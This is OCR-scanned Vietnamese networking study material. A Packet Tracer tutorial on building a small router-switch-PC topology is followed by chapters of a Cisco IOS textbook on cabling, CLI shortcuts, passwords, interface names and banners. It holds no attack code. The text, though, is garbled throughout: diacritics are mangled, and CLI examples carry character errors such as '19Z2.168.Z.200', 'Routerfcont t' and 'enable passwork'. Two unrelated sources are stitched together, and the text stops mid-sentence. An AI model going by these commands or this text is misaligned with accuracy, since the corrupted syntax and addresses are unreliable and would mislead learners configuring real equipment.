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Huéng dan st dung va bai tap cd ban Packet Tracer 5.0
http://baoanh.vnnetwork.net/soft/huo...t Tracer 5.rar
PASS xa nén : hanhtrangsinhvien.net

Hién nay c6 rat nhiéu phan mém tao Lab ao du'dc sir dung dé gitip d& cac ban trong
qua trinh hoc va tim hiéu cac thiét bi mang cua Cisco. theo yéu ciu tir mét s6 ban trén
forum vnexperts.net can tim hi€u ré hon vé phan mém packet tracer, dudi day toi xin
viét bai huéng dan sif dung phan mém nay vaéi phién ban 4.1.

Packet Tracer la phan mém rat tién dung cho cac ban budc dau di vao kham pha, xay
dung va cau hinh cac thiét bi ctia Cisco, né c6 giao dién rat truc quan véi hinh anh
gidng nhu Router that, ban cé thé nhin thdy cac port, caic module. Ban cé thé thay ddi
cac module cia ching bang cach drag-drop nhirng module cén thiét dé thay thé, ban
c6 thé chon loai cable nao cho nhirng két ndi cia ban. Ban ciing cé thé nhin thay cac
goi tin di trén cac thiét bi ctia ban nhu thé nao.

Dudi day toi xin hudng dan véi cac ban cach sir dung phan mém Packet Tracer 4.1
Giao dién chinh ctia phan mém
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http://baoanh.vnnetwork.net/soft/huong_dan_su_dung_&_bai_tap_co_ban_Packet_Tracer_5.rar

Sau khi ban install phan mém nay Ién va chay né, cac ban c6 thé nhin thay giao dién
chinh ctia né nhu trén. Sau doé ta bat dau di vao xay dung mé hinh mang (Topology),
gia su toi can xay dung mot mo hinh don gian nhu sau:

+ 1 Router 2621

+ 1 Switch 2950- 24port

+ 1 PC (End device)

Tiép theo ta di vao xay dung mo hinh:

Trén giao dién chinh cua phan mém packet tracer 4.1 t6i click chudt vao hinh router ¢
dudi cung bén trai man hinh, sau dé n6 sé hién thi ra nhirng router nao ma phan mém
nay ho trg ngay khung bén canh, sau dé ban cé thé chon router nao ma ban can, &
day toi chon la Router 2620XM
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sau do kéo chiing va tha vao khung trong bén trén:
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va chon Switch can duing bang cach click chudt vao switch va chon loai switch va kéo

tha Ién khung bén trén, é day t6i chon
Switch 2950- 24 port
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tiép theo ta con PC (end device trong phan mém nay bao gom: PC, Server, Printer, IP
Phone) ciing v@i thao tac tuong tu nhu trén

Budc tiép theo la ta chon loai cable két ndi dén tirng thiét bi va chon cong két ndi.
PAau tién ta chon két ndi giira router-switch (cable thang), ta click vao connections va
chon straight-through sau do dua chu6t Ién khung ma ta dang xay dung mo hinh,
chon vao Router 0 sau dé chon cong két ndi, 6 day mic dinh la Router 2611 c6 1 cdng
console va 1 cong ethernet. Ta chon ethernet 0 cho két ndi tir router dén swtich sau
do click 1én switch va chon cdng két ndi la Fast Ethernet 0/1
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Budc tiép ta ciing chon cable cho két néi giira switch va pc ( cable thang) véi

cac thao
tac tuong tu' nhu trén nhung khac cdng két ndi, tai switch la Fast Ethernet 0/2 két
noi tGi cong Fast Ethernet cua PC
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Nhu cac ban thay trén hinh trén sau khi chiing ta da tao xong cac két noi trén
topology chiing ta can chii y mét diéu la tai cadc nat 6 diém két ndi giira PC-Switch thi
ta thay hién thi mau xanh con nut két noi giira Router-Switch la mau do tai sao vay?
tai vi két ndi vat ly giira router va switch chua dudc thu'c hién cong Fast ethernet trén
router dang bi down ( vi thé nén ta can lam cho két néi vat ly nay up).

P& cau hinh cho router ta click chudt vao Router0 trén md hinh sau dé chon CLI va cé
thé cau hinh ching nhu trén router that (bi han ché moét sé 1énh).



¥ Router0

, F'?wsical : I 7C0nﬁg ‘ CLI ‘

I0S Command Line Interface

Router=ena

Routerfcont t

Enter configuration commands, one per line. End with CNTL/Z.
Router (config) fint fald/0

Router (config-if) fno shut

#LINE-S5-CHANGED: Interface FastEthernet0/0, changed state to up
$#LINEPROTO-S-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state t
o up
Router (config-if) §"2
$8YS-5-CONFIG_I: Configured from console by console
Routerfshow int fa 0/0
FastEthernet0/0 is up, line protocol is up (connected)
Hardware is Lance, address is 00d0.d369.ec%d (bia 00d40.d369.ec9d)
MTU 1500 bytes, BW 100000 Ebit, DLY 100 usec, rely 2557255, load 1/Z55
Encapsulation ARPA, loopback not set
ARP type: ARPA, ARP Timeout 04:00:00,
Last input 00:00:08, output 00:00:05, output hang never
Last clearing of "show interface" counters never
Queueing strategy: fifo
Output cqueue :0/40 (size/max)
S minmate input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bitsfsec, 0 packets/sec

v

[ Copy ][ Paste ]

ta thay sau khi "no shut" cho cdng Fast ethernet trén router vé trang thai up thi ta
thay nut két két giira 2 thiét bi nay da chuyén sang mau xanh
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Bay gio toi sé thém 1 router 2620 XM vao mo hinh va két noi tru'c ti€p vdi router0 qua
cong serial. Nhung méc dinh trén router 2620XM chi c6 1 cdng console va 1 cong Fast
ethernet, dé cé du'dc cong serial ta can phai c6 WIC hodc Module gan thém vao cho
router ( & day toi gan thém WIC-1T vao) bang cach click vao router0 sau dé chon
Physical, ta thay c6 mat list tat ca cac module ma phan mém packet tracer nay ho trg,
toi chon WIC-1T sau do kéo chiing dat vao 1 trong 2 module danh cho WIC tai khung
hinh bén phai danh cho cac cong va module két néi cia router, khi téi vira kéo chiing
va tha vao thi chiing bao 106i 1a khéng thé thém Module vao vi nguén router dang bét,
mac dinh khi Ia router luén ludn bat vi thé dé thay doi chiing thi ta phai tat nguon di.

PE tat ngudn ta nhin khung hinh hién thi mat sau ctia router ta nhin thay cong tac
ngudn dang & ché dd "on" vi thé ta phai tit né di bang cach click chudt vao cong tic
nguon, sau khi nguén dugc tit ta thuc hién kéo mudule

WIC-1T vao router ( Ta c6 thé dung zoom in hay zoom out dé nhin cac cdng mét cach

chi tiét hon)
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Adding Modules: Drag the module to an available slot on the & #om !“,. p—t
device,

Removing Modules: Drag the module from the device to the v

Khi router chua thém module va cong tic ngudon é dang "on"
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4dding Modules: Drag the module to an available slot on the
device.
Removing Modules: Drag the module from the device to the

Sau khi da thém WIC 1T va cong tic nguon & dang "off"

sau khi thuc hién xong ta nhé dua cong tac nguon vé dang "on"

Ta lam tuong tu véi routerl vira dudc thém vao sau khi lam xong ta thu'c hién két noi
giira 2 router nay, ta chon conections va chon Serial DCE sau do click vao router0
chon serial 0/0 két toi tai serial 0/0 cha router 1

Cac tinh nang khac:

+ Chiing ta c6 thé cau hinh cac port trén switch va router qua form "Config" sau khi
ta chon thiét bi d6. Tai form nay sé c6 nhirng phan né ho trg ma minh chi can nhap
dia chi vao chir khéng can diing CLI thé thay ddi cac mode va cdu hinh ching, tuy
tirng thiét bi ma noé ho tro nhirng tinh nang khac nhau.

Ta ciing c6 thé export, load, erase,save file running config, startup config, nvram....

ﬂ Size full, 646x513, 53KB. . . .HanhTrangSinhVien.Net
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Physical ‘ Config ’CLI \

|  GLOBAL

[ ROUTING Serial0/0
| INTERFACE

[FastEthernetn/0 HoPteS Eats On

[ Serialo/0
Clock Rate 64000 v
1—

Duplex Full Duplex

IP Address 1192.168.2.200

Subnet Mask [255.255.255.0

Equivalent I0S Commands

[FOUC e [CONTIIg) JINCer Tace oer1ialo, o

Router (config-if)fclock rate 64000

Router (config-if)fip address 19Z2.168.Z.200 Z55.255.255.0

Pouter (config-if)§

#LINEPROTO-S-UPDOWN: Line protocol on Interface Seriall/0, changed state to up

Cau hinh IP address va clock rate cho cong s0/0 cua router 0

+ Xoa thiét bi khong duing dén: Néu ta can xoda thiét bi nao trén mo hinh thi ta chi can
chon dau X(delete)bén khung bén phai va chon thiét bi can xo6a

+ P& xem cac goi tin di trén thiét bi nhu thé nao ban cé thé chon Capture/forward
hay Auto Capture / PLay

F1Y Size full, 729x570, 68KB. . . .HanhTrangSinhVien.Net
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+ P& md hinh nay dudc giir nguyén sau khi thoat khéi packet tracer ta can phai luu
toan bd mé hinh thiét bi va ciu hinh tirng thiét bi trong md hinh: P& khdng mat hét
file cau hinh thi ta phai save toan b6 nhirng gi ta da cau hinh vao ( copy running
config startup config). Va luvu mo hinh nay vao thu vién ciia phan mém

+ Trong thu vién cua phan mém packet tracert c6 rat nhiéu mé hinh mang ma ta cé
thé tham khao c6 huéng dan cac budc cdu hinh, mét sé topo da ciu hinh va mét sé
chua, thu vién nay rat hitu ich trong qua trinh hoc ma ban cé thé tham khao dé cau
hinh, né nam trong thu vién "saves' cua phan mém.

Con mot s6 tinh nidng khac ma t6i chu'a néi dén cac ban cé thé tham khao thém,
nhirng gi t6i noéi trén day la nhirng phan cot 16i cua Packet tracer 4.1

12






Noi dung
Phan I
Chuong 1
Chuong 2
Phan II
Chucng 3
Phan III
Chucng 4
Chuong 5
Chuong 6
Chuong 7
Phan 1V
Chuong 8
Chuong 9
Chuaong 10
Chuong 11
Phan Vv
Chuong 12
Phan VI
Chuong 13
Chuong 14
Chuong 15
Chuong 16
Chuong 17
Chuong 18
Chuong 19
Phan VII
Chucng 20
Chuadng 21
Chuong 22
Phan VIII
Chucng 23
Chuong 24
Phan IX
Chuong 25

Muc luc

Gidi thiéu vé cac thiét bi Cisco
Cac loai cap va cac loai két ndi
Giao dién Command-Line Interface
Cau hinh Cisco Router

C&u hinh mot Cisco Router

Pinh tuyén

Giao thirc dinh tuyén tinh

Giao thirc dinh tuyén RIP

Giao thirc dinh tuyén EIGRP
OSPF dagn vung

Chuyén Mach (Switching)

Cau hinh mot Switch

VLAN

VTP va Inter-Vlan Routing

STP va EtherChannel

Mdé rong mang LAN

Trién khai mét Wireless LAN
Quan tri mang va xu ly 16i

Du phong va khoi phuc phan mém Cisco I0S va cac file cau hinh

Céc budc khéi phuc Mat khdu va Configuration Register
Giao thic CDP

Telnet va SSH

Cac cau lénh Ping va Traceroute
SNMP va Syslog

Cd ban xu ly 16i

Quan ly cac dich vu IP

Network Address Translation (NAT)
DHCP

Ipv6e

WAN

HDLC va PPP

Frame Relay

Bao mat mang

Access Control List (ACL)

Trang

12
12
23
23
27
31
38
48
48
56
60
73
89
89
111
111
117
123
124
126
129
130
135
135
142
148
158
158
162
171
171




Phan I - GIOI THIEU VE CAC THIET BI CISCO
Chuong 1: Cac loai cap va cac loai két noi
Chudng 2: Giao dién Command-Line

Chuadng 1: Cac loai cap va cac loai két noi

Chuadng nay sé cung cap nhitng théng tin va cac cau lénh cé lién quan dén nhitng chu dé
sau:

- Két n6i Router hodc Switch st dung cap Rollover

- Xac dinh cac théng s6 cai dat trén PC dé thuc hién két ndi Router hodc Switch.

- Tim hiéu vé phuong phap ciu hinh cta nhitng két ndi Lan khac nhau.

- Xac dinh cac loai cap Serial khac nhau.

- Xac dinh céac loai cap dudc sir dung dé€ két ndi router hodc switch dén cac thiét bi khac.
1. Két ndi Router hodc Switch sir dung cap Rollover.
- Hinh 1-1: Hién thi phuong phap két ndi tir PC dén switch hodc router théng qua cap

Rollover.

Hinh 1-1

Consale Port RJ-45
Cannectof

Rollover RJ=45 1o DE-3  Compuler
Cable Adapter

2. Xac dinh cac thdng sb cai dat trén PC dé thuc hién két ndi Router hodc Switch.
- Hinh 1-2 sé& hién thi hinh mé ta phudng phap céu hinh trén PC dé két néi dén router hodc

switch théng qua cap Rollover.




Hinh 1-2

COM1 Properties

Port Settings

Bits per second: | 9600 v

Data bits: |8 v
Panty: | None v
Stop bits: |1 v

Fow control: | [N

[ Restore Defaults ]

l oK Ji Cancel ” Apply ]

3. Cac két ndi LAN.

- Bang 1-1 s& hién thi cac loai port khac nhau va céc loai két néi khac nhau gilta cac thiét

bi LAN.
Port hodc Két | Loai Port Két ndi truc ti€p dén Cap
nGi
Ethernet RJ-45 Ethernet Switch RJ-45
T1/E1 RJ-48C/CA81A Mang T1 hoac E1 Rollover
Console 8 pin Computer COM Port Rollover
AUX 8 pin Modem RJ-45
BRI S/T RJ-48C/CA81A Thiét bi NT1 hoac PINX | R]J-45
BRI U WAN RJ-49C/CA11A Mang ISDN RJ-45




4. Cac loai cap Serial.

- Hinh 1-3 s& hién thi dau cap DB-60 clua moét cap serial dung dé két néi dén cac router
2500.

- Hinh 1-4 s& hién thi dau cdp Smart Serial cia mot loai cap serial dudc dung dé két ndi
dén Port Smart Serial trén router. Cac port smart serial cé thé tim thdy trén modular cla
cac router, nhu ISR (x800), hodc trén cac modular router cii nhu: 1700 hodc 2600.

- Hinh 1-5 s& hién thi dau cap DTE duc va DTE cai, |a dau cap con lai trén cac loai cap
serial.

- Thong thudng cadc may xach tay ngay nay chi cé cac port USB, khéng cd cac port Serial.
Vi vay, ban can trang bi thém mot dau ndi chuyén ddi tir USB sang Serial (USB-to-Serial),
hién thi trong hinh 1-6.

Hinh 1-3: Cap Serial (2500)

Hinh 1-4: Cap Smart Serial (1700, 1800, 2600, 2800).




Hinh 1-5: Cap V35 DTE va DCE.

5. Phudng phap sir dung cac loai cap Serial.
- Bang 1-2 s& md ta cach dé sir dung céc loai cap serial. Diéu nay rat quan trong dé chac

chan rdng ban cai dat ding céc loai cap.

Bang 1-2: Phuong phap st dung cac loai cap dé két ndi thiét bi.
If Device A Has A: And Device B Has A: Then Use This Cable:

Céng COM trén may tinh Céng Console cta | Rollover
Router/switch

Card NIC clia may tinh Switch Cép thang




Card NIC cua may tinh

Card NIC cua may tinh

Cap chéo

Cbéng cla switch

Cdng Ethernet cua Router

Cép thang

C6éng cla switch Cdng cla switch Cap chéo
C6ng Ethernet cua Router | Céng Ethernet cua Router Cap chéo
Card NIC cua may tinh Cdng Ethernet cua Router Cap chéo

Cbng Serial cia Router

Cdng Serial cia Router

Cap serial DCE/DTE

- Bang 1-3 la danh sach vi tri cac PIN cua céc loai cap: Thang, chéo, va cap Rollover.

Bang 1-3: Vi tri cua cac PIN trén cac loai cap khac nhau.

Cap thang Cap chéo Cap Rollover
Pin1-Pin1 Pin 1 - Pin 3 Pin 1 - Pin 8
Pin 2 - Pin 2 Pin 2 - Pin 6 Pin 2 - Pin 7
Pin 3 - Pin 3 Pin 3 - Pin1 Pin 3 - Pin 6
Pin 4 - Pin 4 Pin 4 - Pin 4 Pin4 - Pin 5
Pin5 - Pin5 Pin5-Pin5 Pin 5 - Pin 4
Pin 6 — Pin 6 Pin 6 - Pin 2 Pin 6 - Pin 3
Pin 7 - Pin 7 Pin 7 - Pin 7 Pin 7 - Pin 2
Pin 8 - Pin 8 Pin 8 - Pin 8 Pin 8 - Pin 1

Chuodng 2: Giao dién Command-Line.

Chuadng nay sé cung cap nhitng théng tin va cac cau lénh cé lién quan dén nhitng chu dé

sau:

- Céc céu lénh tat.

- S dung phim Tab @& hoan thanh céu Iénh

- S dung phim ™ ? ™ dé trg giup.

- Cau lénh: enable

- Cau lénh: exit

- Cau lénh: disable

- Cau lénh: logout

- Ché& d6 cau hinh Setup.
- Phim trg giap.

- Cac cau lénh da thuc thi.
- Cau lénh: Show

1. Céc ciu lénh tat.

- P& sir dung cac cau lénh cé hiéu qua hon, phan mém Cisco I0S cé mdt s6 cau lénh dudc
phép nhap tat. Mac du vay phuong phap nay lai dugc s dung rat nhiéu trong thuc té& khi
lam viéc véi phdan mém Cisco 10S, nhung khi ban ti€n hanh cac bai thi cha Cisco, thi chéc

chan rdng ban can phai Id8m dudc cac cdu Iénh day du.




Router> enable = Router> enab = Céc ban cé th& nhap vao mét cau lénh
Router> en day da hodc mét clu lénh tit thi phan
mém Cisco I0S cling cé thé thuc thi
dugc. Nhung cac ban can phai luu y mot
diéu la cau lénh tdt d6 phai la duy nhéat
khi nhap vao.

Router# configure terminal
Ciing tuong tu nhu cau Iénh dudi :

Router# config t

2. SU dung phim Tab d& hoan thanh ciu 1énh :

- Khi ban dang nh&p vao mét cdu Iénh, ban cé thé sir dung phim Tab trén ban phim dé
hoan thanh cau Iénh. Nhap vao moét vai ky tu dau tién cua cadu Iénh va nhan phim Tab. Néu
nhirng ky tu ban nhap vao la duy nhat cta cau |énh nay thi, cac ky tu con lai cia cau lénh

s& hién thi ra man hinh.

Router# sh -> nhan phim Tab =

Router# show

3. S dung phim ? dé& trg giup.
- Nhitng vi du trong bang dudi day s& hudng dan phuong phap sir dung phim ? dé cé thé

trg giip ban hién thi ra nhitng tham s& con lai cia mét cau Iénh nao dé.

Router# ? Hién thi t&t ca cac céu Iénh cé kha nang
thuc thi & ché d6 hién thai (ché do
Privileged)

Router# c? Hién thij tat ca cac ciu Iénh bit dau tir ky
tu c

Router# cl? Hién thi tdt ca cac cau Iénh bat dau tu
cac ky tu cl

Router# clock Nh&c nhé ban sé& con nhiéu tham s& khac

% Imcomplete command nita cua cadu Iénh nay ma can phai nhap
vao.

Router# clock ? Hién thi tat ca cac cau lénh phu cla ciu

Set [énh nay (trong trudng hgp nay, Set,
dung dé& dit cac tham sé ngay thang, va
thai gian)

Router# clock set 19:50:00 14 July Nh&n phim Enter d€ xac nhan lai thdi

2007 ? gian va ngay thang da dugc cau hinh.

Router# Khong cé mot thong bao 16i nao dugdc
dua ra c6 nghia la cdu Iénh nhap vao da
thanh cong.




4. Cau lénh Enable

Router> enable Chuyé&n ngudi dung tir ch&é dd c8u hinh
Router# User vao ché d6 cau hinh Privileged

5. Cau lénh Exit

Router# exit Thoat khoi ché dé cdu hinh cua Router.
Hodc

Router> exit

Router(config-if)# exit Chuyén ngudi dung thoat ra khai mét cap
Router(config)# do cdu hinh
Router(config)# exit Chuyén ngudi dung thoat ra khoéi mot cap
Router# d6 cau hinh

6. Cau lénh Disable
Router# disable Chuyé&n ngudi dung tir ché dd ciu hinh

Router> Privileged ra ngoai ché do cau hinh User.

7. Cau lénh Logout

Router# logout Thutc thi chirc ndng giéng cau Iénh exit

8. Ché d6 cau hinh Setup
- Ché d6 cau hinh Setup la ché d6 cau hinh khdi déng tu déng néu trong qua trinh khdi
dong router khong tim thay file startup-config.

Router# setup Vao ché dd cdu hinh Setup tir giao dién

Command Line.

* ch@ y: Ban khdng thé st dung ché dé cdu hinh Setup dé cdu hinh toan bé cac tham sé
trén router. O ch& dd nay ban chi cé thé cdu hinh cd ban cho router. Cho vi du, ban cé thé
c8u hinh duy nh&t RIPv1 hodc IGRP, nhung khéng thé nao ciu hinh giao thirc dinh tuyén
OSPF hodc EIGRP. Ban khéng thé tao ACL & ddy hodc enable NAT hoat déng. Ban cé thé
gan mot dia chi IP cho mdt Interface, nhung khéng thé nao gadn cho mét subinterface. Tém
lai, & ché d6 cau hinh Setup thi cac tinh nang cau hinh trén router sé cé gigi han. Cisco
khong khuyén khich cac ban cau hinh cac tham s6 cua router trong ché doé Setup. Thay vao
dd, ban c6 thé sir dung giao dién Command-Line (CLI), ban cé thé cdu hinh day du tinh
nang cua router tir giao dién nay:

Would you like to enter the initial configuration dialog? [yes] : no

Would you like to enable autoinstall? [yes] : no




9. Phim trg giup

- Céc t6 hop phim trong bang dudi day sé& trg giup ban trong qud trinh chinh stra céc cau
Iénh cla Cisco IOS. Bd&i vi ban can thuc thi lai nhitng cau 1énh hodc nhitng nhiém vu da lam
vao thdi diém trudc, phdn mém Cisco I0S cung cdp cho ban céc t6 hgp phim dé ban cd thé

xU ly cac cau Iénh mot cach hiéu qua han.

Router#config t Hién thi noi ma ban d3 nhép cau lénh bi
n sai

% Invalid input detected at
‘A marker.

Router#config t

Router(config) #

Ctrl - A Di chuyén con tré vé dau dong

Esc - B Di chuyén con tré vé trudc mot tur

Ctrl - B Di chuyén con tro trudc mot ky tu

Ctrl - E Di chuyén con tré vé cudi dong

Ctrl - F Di chuyén con tré vé sau mot ky tu

Esc - F Di chuyén con tré vé sau mot tur

Ctrl -2 Di chuyén con tré tir moi ché& dd ciu hinh
trd vé ché do cau hinh Privileged

Router# terminal no editing Tat kha nang s dung cac phim tat

Router# terminal editing Bat lai kha ndng sU dung cac phim tat va

s dung cac t6 hgp phim trong qué trinh

XU dung cau lénh.

10. Cac cau lénh da thuc thi (History command)

Ctrl - P P& goi lai cac cu Iénh ndm trong bd dém
history, bat dau tir cdu 1énh thuc thi gan
day nhat.

Ctrl- N Trd vé cac cau lénh vira thuc thi trong bd

dém history sau khi da& goi lai cac cau
lénh véi t8 hop phim Ctrl - P

Terminal history size_number Cau hinh cac dong Iénh sé dugc phép luu
vao trong bd dém history d& cho phép
ban c6 thé goi lai nhitng ciu lénh nay
(I6n nhat la 256 cau lénh).

Router# terminal history size 25 Router chi c6 thé Iuvu dugc tdi da la 25
cau lénh da dudc thuc thi vao trong b6

dém history

Router# no terminal history size 25 Cau hinh router tré vé mac dinh chi luu
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dudc 10 cau Iénh da thuc thi vao trong
b0 dém history.

* Cha y: cadu Iénh history size cung cdp chilic nang tuong tu nhu cau lénh: terminal

history size.

11. Cac cau Iénh Show

Router# show version

Hién thi cac thong tin vé& phan mém Cisco
10S hién thdi.

Router# show flash

Hién thi cac thdng tin v& bd nha Flash

Router# show history

Hién thj tt cd cac cau lénh d3 dudc luu

trir trong bo dém history.
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Phan II - CAU HINH ROUTER

Chucong 3 - Cau hinh Cisco Router

Chuadng nay sé bao gom nhitng thong tin va cac cau Iénh cé lién quan dén nhirng chu dé

sau:
- Cac ché d6 cau hinh cua router.
- Ché do Global Configuration.
- Cau hinh router véi cac tham s0 sau:
+ Names
+ Passwords
+ Password ma hoda
+ Tén cac Interface
+ Di chuyén giita cac Interface.
+ Cau hinh Interface Serial

+ C&u hinh Interface Fast Ethernet

+ Tao message-of-the-day (MOTD) banner.

+ Tao mot login banner
+ C4u hinh thgi gian.

+ Gan mot host name véi mot dia chi IP.

+ Cau lénh: no ip domain-lookup
+ Cau lénh: logging synchronous
+ Cau lénh exec-timeout

+ Luu file cdu hinh

+ Xoa file cdu hinh.

- Cac cu |énh show dé kiém tra ciu hinh router.

- Cac cau lénh trong ché d6 cau hinh EXEC: Cau Iénh do.

1. Cac ché do cau hinh cta Router

Router> Ché do User.

Router# Ché do Privileged (cling dugc goi la ché
dd EXEC)

Router(config)# Ché d6 Global Configuration

Router(config-if)#

Ché d6 Interface Configuration

Router(config-subif) #

Ché d6 Subinterface Configuration

Router(config-line)#

Ché& do cau hinh Line.

Router(config-router)#

Ché d6 Router Configuration

2. Ché d6 Global Configuration

Router>

Gigi han cac cau lénh ma ngudi dung cé
thé thuc thi dugc. D&i vdi ché d6 ciu
hinh nay ngudGi dung chi c6 kha nang
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hién thi cdc théng s& cdu hinh trén
router. Khdng thé cdu hinh dé thay ddi
cac thoéng s6 cdu hinh va hoat dong cua

router.

Router#

Ban cdé thé€ nhin thdy file cdu hinh va
thay d&i cdc tham s& cdu hinh trén file

cdu hinh do.

Router# configure terminal

Router(config)#

Chuyén ngudi dung vao ché& dd Global
Configuration. V&i ché do nay ban sé cé
thé bat dau cdu hinh nhitng thay d&i cho

router.

3. C4u hinh cac tham s6 cd ban cho router

3.1. Cau hinh Router Name

- Cau lIénh nay thuc thi dugdc trén ca cac thiét bj router va switch cua cisco.

Router(config)# hostname Cisco

Cisco(config)#

Cau hinh tén cho router ma ban muoén

chon.

3.2. Cau hinh Passwords

- Nhitng céu Iénh sau dugc phép thuc thi trén cac thiét bi Router va Switch cua Cisco.

Router(config)# enable passwork cisco

Cé&u hinh enable password

Router(config)# enable secret class

C&du hinh password ma hda cua ché do

enable.

Router(config)# line console 0
Router(config-line)# password console

Router(config-line)# login

Vao ché do line console

C&u hinh password cho line console

Cho phép kiém tra password khi login
vao router béng port console.

Router(config)# line vty 0 4
Router(config-line)# password telnet

Router(config-line)# login

Vao ché dd line vty dé€ cho phép telnet

C4u hinh password dé cho phép telnet

Cho phép kiém tra password khi ngudi

dung telnet vao router

Router(config)# line aux 0
Router(config-line)# password
backdoor

Router(config-line)# login

Vao ché do line auxiliary

Cé&u hinh password cho line aux

Cho phép router kiém tra password khi
ngudi dung login vao router théng qua
port AUX.

* Cha y: enable secret password la loai

Enable password sé khong dudgc ma héda. Vi

password sé dugc ma hdéa theo mac dinh.

ly do d6, Cisco khuyén khich cac ban khoéng




nén s dung password enable dé cdu hinh. SI dung duy nhit ciu Iénh enable secret

password trong router hodc switch dé c&u hinh.

3.3 M3 hoa Password

Router(config)# service password-

encryption

Khi cdu lénh dudc thuc thi trén router
hodc switch thi tat cd cac loai password
trén router hodac switch d6 sé dudc ma

hoéa. (Trir enable secret password).

Router(config)# enable password

cisco

Cé&u hinh enable password la cisco

Router(config)# line console 0
Router(config-line)# password console
Router(config-line)# login

Cdu hinh password cho line console la

console

Router(config)# no service password-

encryption

Tat tinh ndng m& hda password trén

router hoac switch.

3.4. Tén cac Interface cdia Router

- Mot van dé I8n nhat dGi véi cac quan tri mang mdi dé la phan biét tén cla cac Interface

trén cac dong router khac nhau. Vd&i tat cd cac thiét bi Cisco khac nhau trong hé théng

mang ngay nay, thi mot s6 quan tri mang dang rat ling tang trong viéc phan biét tén cua

cac Interface trén router.

- V&i bang bén dudi cac ban cé thé nhin thdy mdt s6 cac loai interface trén cac dong router

khac nhau. Trén modi router cac ban cé thé sir dung cdu Iénh sau dé xac dinh cac interface

dang hoat dong trén router.
Router# show ip interface brief

Router Port Slot/Port Type Slot Example
Model Location/Slot Numbering
Number Range
2501 On board Ethernet Interface- EthernetO (e0)
type number
On board Serial Interface- Serial0 (S0) va
type number | S1
2514 On board Ethernet Interface- EO va E1
type number
On board Serial Interface- SO va S1
type number
1721 On board Fast Ethernet Interface- FastethernetO
type number | (fa0)
Slot 0 WAC (WIN | Interface- SO va S1
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Interface
(Serial)

Card)

type number

1760 On board Fast Ethernet Interface- Fa0/0
type 0/port
Slot 0 WIC/VIC (Voice | Interface- S0/0 va So/1
interface card) type 0/port V0/0 va vVo/1
Slot 1 WIC /VIC Interface- S1/0vaSi/1
type 1/port vi/OvaVvi/1
Sot 2 VIC Interface- V2/0vav2/1
type 2/port
Slot 3 VIC Interface- V3/0vaVv3/1
type 3/port
2610 On board Ethernet Interface- EO/O
type 0/port
Slot O WIC (Serial) Interface- S0/0 va S0/1
type O0/port
2620 On board Fast Ethernet Interface- Fa0/0
type 0/port
Slot O WIC (serial) Interface- S0/0vas0/1
type 0/port
2621 On board Fast ethernet Interface- Fa0/0 va fa0/1
type 0/port
Slot 0 WIC (serial) Interface- S0/0 va So/1
type O0/port
1841 On board Fast Ethernet Interface- Fa0/0 va fa0/1
type 0/port
Slot 0 High-speed WAN | Interface- S0/0/0 va
Interface card | type s0/0/1
(HWIC)/ WIC / | 0/slot/port
VWIC
Slot 1 HWIC/WIC/VWIC | Interface- so0/1/0 va
type s0/1/1
0/slot/port
2801 On board Fast Ethernet Interface- Fa0/0 va fa0/1
type 0/port
Slot 0 VIC /VWIC (voice | Interface- vo/0/0 -
only) type v0/0/3
0/slot/port
Slot 1 HWIC/WIC/VWIC | Interface- 0/1/0-0/1/3
type (single-wide
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interface s0/0/0

Serial Interface

Configuration

interface s0/0/0

0/slot/port HWIC)
0/1/0-0/1/7
(double-wide
HWIC)
Slot 2 WIC/VIC/ Interface- 0/2/0-0/2/3
VWIC type 0/slot/
port
Slot 3 HWIC/WIC/ Interface- 0/3/0-0/3/3
VWIC type 0/slot/ (single-wide
port HWIC)
0/3/0-0/3/7
(double-wide
HWIC)
2811 Built in to usB Interface- usbO & usb 1
chassis front type port
Built in to Fast Ethernet Interface- fa0/0 &
chassis rear Gigabit Ethernet type 0/port fa0/1 gi0/0 &
gio/1
Slot 0 HWIC/HWICD/ Interface- s0/0/0 &
WIC/VWIC/ type 0/slot/ s0/0/1
VIC port fa0/0/0
& 0/0/1
Slot 1 HWIC/HWICD/ Interface- s0/1/0 &
WIC/VWIC/ type 0/slot/ s0/1/1
VIC port fa0/1/0
&0/1/1
NME slot NM/NME Interface- gil/0 &
type 1/port gil/1s1/0 &
s1/1
3.5. Di chuyén gilta cac Interface
Rouer(config)# Chuyén vao ché& dd | Router(config)# Chuyén vao ché dd

Serial Interface

Configuration

Router(config-if)#

exit

Trd lai ché do
Global

configuration

Router(config-if)#
interface fa0/0

Chuyén truc tiép
sang ché do ciu
hinh ctia Interface
Fast Ethernet 0/0
tir ché dé cau hinh

clia mot Interface
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khac.

Router(config) # Chuyén vao ché dd

interface fa0/0 cau hinh cua

Interface Fast

Router(config-if)# | Dang trong ché do
cau hinh cua

Interface Fast

Ethertnet Ethernet
3.6. C4u hinh Interface Serial
Router(config)# interface s0/0/0 Chuyén vao ché& d6 cdu hinh cda

Interface S0/0/0.

Router(config-if)# description Link to
Isp

Loi mo ta cho Interface Serial nay. (day

la tuy chon).

Router(config-if)# ip address
192.168.10.1 255.255.255.0

Gan mot dia chi ip va subnet mask cho
interface Serial nay.

Router(config-if)# clock rate 56000

Cau hinh gia tri Clock rate cho Interface
(Chi cdu hinh cadu Iénh nay Khi interface
do la DCE).

Router(config-if)# no shutdown

Bat Interface.

3.7. Cau hinh Interface Fast Ethernet

Router(config)# interface Fastethernet
0/0

Chuyén vao ché dd cdu hinh cla

Interface Fast Ethernet 0/0

Router(config-if)# description
Accounting LAN

Cau hinh IGi mo ta cho Interface. (day la

tuy chon)

Router(config-if)# ip address
192.168.20.1 255.255.255.0

Gan mot dia chi ip va subnet mask cho

Interface

Router(config-if)# no shutdown

Bat Interface.

3.9. Tao Messga-of-the-Day Banner

Router(config)# banner motd $ This is

banner motd $

binh nghia mo6t doan thong diép sé dugc
dua ra khi ngugi dung login vao router.
boan thong diép do6 sé dugc dat trong
mot cap ky tu dac biét.

.10. Tao Login Banner.

Router(config)# banner login $ This is

banner login $

binh nghia mo6t doan thong diép sé dugc
dua ra khi ngudi dung login vao router.
boan thong diép doé sé dugc dat trong
mot cap ky tu dac biét.
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* Cha y: login banner s& dudc hién thj trudc ddu nhdc nhdp username va password. SU
dung cdu Iénh no banner login dé disable login banner. MOTD banner sé& hién thi trudc

login banner.

3.11 C4u hinh Clock time Zone

Router(config)# clock timezone EST -5 | C4u hinh vung thgi gian s& dugc hién thi.

3.12 Gan mot host name cho mot dia chi IP

Router(config)# ip host lodon Gan mot host name cho mét dia chi IP.
172.16.1.3 Sau khi cau lénh dé da dudc thuc thi,
